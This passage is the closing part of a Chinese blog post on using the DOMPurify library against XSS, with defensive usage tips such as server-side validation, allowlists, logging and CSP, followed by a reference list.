  • 不是银弹:需要配合前后端验证、CSP、日志监控等措施

使用建议

  1. 前后端都要验证:不要只在前端净化,后端也要再次检查
  2. 合理配置白名单:根据实际需求限制允许的标签和属性
  3. 定期更新:跟进最新版本,获取安全更新
  4. 监控日志:记录被清理的内容,及时发现攻击尝试
  5. 配合 CSP:双重保护,即使 XSS 绕过也能拦截
  6. 测试代码:在实际环境中测试,确保不会误杀正常内容

如果你的项目需要处理用户生成的 HTML 内容,强烈建议用 DOMPurify。别想着自己写正则过滤------那是个无底洞,攻击者永远比你想得多。专业的事交给专业的工具,省心又安全。


参考资料

官方文档

  1. DOMPurify GitHub - 官方仓库和文档
  2. DOMPurify Demo - 在线演示和测试

安全研究

  1. OWASP XSS 防御备忘单
  2. Cure53 Security Audits - DOMPurify 维护团队

技术标准

  1. Content Security Policy (CSP)
  2. Trusted Types API

相关库

  1. jsdom - Node.js 环境的 DOM 实现
  2. isomorphic-dompurify - 浏览器和 Node.js 通用版本
相关推荐
海在掘金611275 小时前
告别"拼写错误":TS如何让你的代码"字字精准"
前端
摸着石头过河的石头5 小时前
深入理解JavaScript事件流:从DOM0到DOM3的演进之路
前端·javascript·性能优化
卡尔特斯6 小时前
油猴脚本支持的所有 UserScript
前端
披萨心肠6 小时前
理解JavaScript中的函数参数传递
前端·javascript
吞吞07116 小时前
Alpine.js 技术文档
前端
彭于晏爱编程6 小时前
Vite 打包超 500KB 警告优化实录
前端
白帽子黑客罗哥6 小时前
云原生安全深度实战:从容器安全到零信任架构
安全·云原生·架构·零信任·容器安全·kubernetes安全·服务网络
飞翔的佩奇6 小时前
【完整源码+数据集+部署教程】【天线&运输】直升机战机类型识别目标检测系统源码&数据集全套:改进yolo11-CSP-EDLAN
前端·python·yolo·计算机视觉·数据集·yolo11·直升机战机类型识别目标检测系统
一点七加一6 小时前
Harmony鸿蒙开发0基础入门到精通Day01--JavaScript篇
开发语言·javascript·华为·typescript·ecmascript·harmonyos